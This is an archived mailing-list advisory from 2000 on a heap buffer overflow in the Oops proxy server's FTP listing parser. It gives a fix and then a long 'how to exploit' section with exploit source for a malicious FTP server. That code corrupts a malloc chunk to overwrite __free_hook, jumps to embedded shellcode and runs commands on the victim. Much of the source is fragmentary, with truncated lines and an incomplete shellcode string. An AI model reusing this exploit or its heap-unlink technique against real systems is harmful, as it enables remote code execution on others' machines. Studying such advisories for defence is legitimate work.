Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Subject: [pkc] remote heap buffer overflow in oops
From: cyraxPKCREW.ORG
Date: Mon Dec 11 2000 - 11:55:29 CST


--- Packet Knights Advisory 001 ---


Author : |CyRaX| <cyraxpkcrew.org>

Application : Oops proxy server 1.4.22 1.4.6 and maybe prior

Type: heap buffer overflow

--- The problem ---

Function list_parser in ftp_utils.c :

line is the line sent by the ftp server in result of a list command

   tempbuf = xmalloc(strlen(line)*3 + strlen(myhostname) + dovesok , [...]);
p is the line without the filename

    htmlized_something = html_escaping(p);

and this is the vulnerable sprintf

sprintf(tempbuf, "<img src=\"http://%s:%s/%s/%s\" alt=\"%s\">%s ",

well.. as you can see tempbuf allocs strlen(line)*3. The probably tougth
that the htmlizing of the line can give just a string 3 times bigger than
the line. But if you look at html_escaping code you see that he translates
" into &quot; . So putting a large amount of " in the line we can overflow

--- The Solution ---

Well.. a quick fix could be just changing the alloc line into:

tempbuf=xmalloc(strlen(line)*6+strlen(myhostname)+dovesok, [..];

but you can save more memory allocating tempbuf after the html_escaping.
Anyway.. the authors were contacted and they're fixing it in a better way.

--- How to exploit this ---

As demostrated by the traceroute and slocate exploits, it's possibile to
overwrite a function pointer modifing a malloc chunk.
And in this case, after the tempbuf buffer, there is the chunk of
htmlized_something. So the exploit have to overwrite it, set the the size to
0xffffffff to make it a free chunk, put the address of the shellcode into fd
and the address of the target function pointer into bd (-8), and when the
free() will call the unlink it will put the shellcode address into
__free_hook. The problem of the exploit is that we must compute exactly the
length of tempbuf and hope that malloc will not give it a bigger length,
overwrite perfectly the chunk, know exactly the address of __free_hook and the
address of the shellcode.
As you can see the bigger problem is the shellcode. We can't simply put a
(not too) large amount of nop, cause the unlink will fill the zone near the
one pointed by __free_hook with the address of it.. (so.. some illegal
instrunctions) and the shellcode have to jump them. If instead you point to a
nop the other nops after that will be overwritten by the unlink() and will
result in SIGILL.
So.. this is very hard to exploit.. anyway it's possible..
I include an example exploit that worked on my slackware 7.0

--- PKCoops-ex.c ---

/* Dimostrative Exploit Against Oops Proxy Server v 1.4.22 and prior
 * Coded by |CyRaX| <cyraxpkcrew.org>
 * Packet Knights Crew : www.pkcrew.org
 * Tested on Slackware 7.0
 * Greetz : all the bros of pkc, expecially recidjvo,asynchro & cthulhu
 * LordFelix & bikappa : for some hints about heap overflow
 * BlackBerry , Nobody88, sMAV, Mav, Mr^Moon and all the others

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>

#define ALIGN 0
#define __FREE_HOOK 0x40175994
#define SHELLCODE 0x80b1223

char c0de[]="\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

int main(int argc,char **argv){
   int s,s2,clnsock,i;
   struct sockaddr_in srv,clt;
   char buff[500],sndbuff[1500],magic[1000],magic2[50],magic3[5000];
   unsigned long ip;
   int h1,h2,h3,h4,p1,p2;
   u_short port;
   int passive=0,tmplen,wrtlen;
   struct malloc_chunk{
      unsigned int ps;
      unsigned int sz;
      struct malloc_chunk *fd;
      struct malloc_chunk *bd;
   fd_set setz;

   mc.ps=0xffffffff & ~1;
   mc.fd=(struct malloc_chunk *)(SHELLCODE); /* shellcode pointer */
   mc.bd=(struct malloc_chunk *)(__FREE_HOOK-8); /* target pointer */


      printf("Proof exploit against oops proxy server heap buffer overflow!\n");
      printf("by |CyRaX| <cyraxpkcrew.org>\n");
      printf("Member Of Packet Knights Crew - http://www.pkcrew.org\n");
      printf("Usage ./oopsexp <your_ip> <victim ip> <hostname len>\n");
      printf("your ip: it is necessary for the passive mode\n");
      printf("hostname len is the len of the host that he *thinks* to have\n");
      printf(" for example if the hostname is c500 you must put 4 here\n");

   printf("now set the victim as your proxy in any web browser and go to\n");


   if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
      printf("cannot bind to port 21 !\n");
   clnsock=accept(s,(struct sockaddr *)&clt,sizeof(clt));
   strcpy(buff,"220 exploit is here :)\r\n");
   strcpy(buff,"331 any pass is good d00d\r\n");
   strcpy(buff,"230 oky d00d.. login done!\r\n");
         strcpy(sndbuff,"215 UNIX Type: L8\r\n");
            if(bind(s,(struct sockaddr *)&srv,sizeof(srv))<0){
               printf("cannot bind to port 1322 for passive mode!\n");
         else {
         sprintf(sndbuff,"227 Entering Passive Mode (%s,5,42)\r\n",argv[1]);
         strcpy(sndbuff,"200 vabbuo' vabbuo'\r\n");
            strcpy(sndbuff,"150 Opening ASCII mode data connection for file list.\r\n");
            strcpy(sndbuff,"226 Transfer complete.!\r\n");

         strcpy(sndbuff,"150 vieni pure amore!\r\n");
         tmplen=strlen("Arwxrwxrwx rooOOOt \r\n ")*3+strlen(magic2)*3+
         tmplen=tmplen+128; /* dovesok */
         wrtlen=strlen("<img src=\"
                       "alt=\"[Unkn] \" ")+atoi(argv[3]);
         wrtlen=wrtlen+strlen("Arwxrwxrwx rooOOOt \r\n")+strlen(magic2);

               tmplen+=3; /* 1 *3 */
               wrtlen+=6; /* &quot; */
         printf("ora tmplen %i | wrtlen %i\n",tmplen,wrtlen);
         snprintf(sndbuff,6000,"Arwxrwxrwx rooOOOt %s %s 2000 %s\r\n",
         strcpy(sndbuff,"226 Ho finito\r\n");
         if(connect(s2,(struct sockaddr *)&clt,sizeof(clt))!=0){
            printf("SORRY.. it didn't work!\n");
         strcpy(sndbuff,"uname -a;id\n");
         strcpy(sndbuff,"250 SUUU.. FATTI SOTTO !\r\n");
         strcpy(sndbuff,"257 \"/\" ti stai cagando sotto eh ?!\r\n");

-- EOF --

Member Of Packet Knights Crew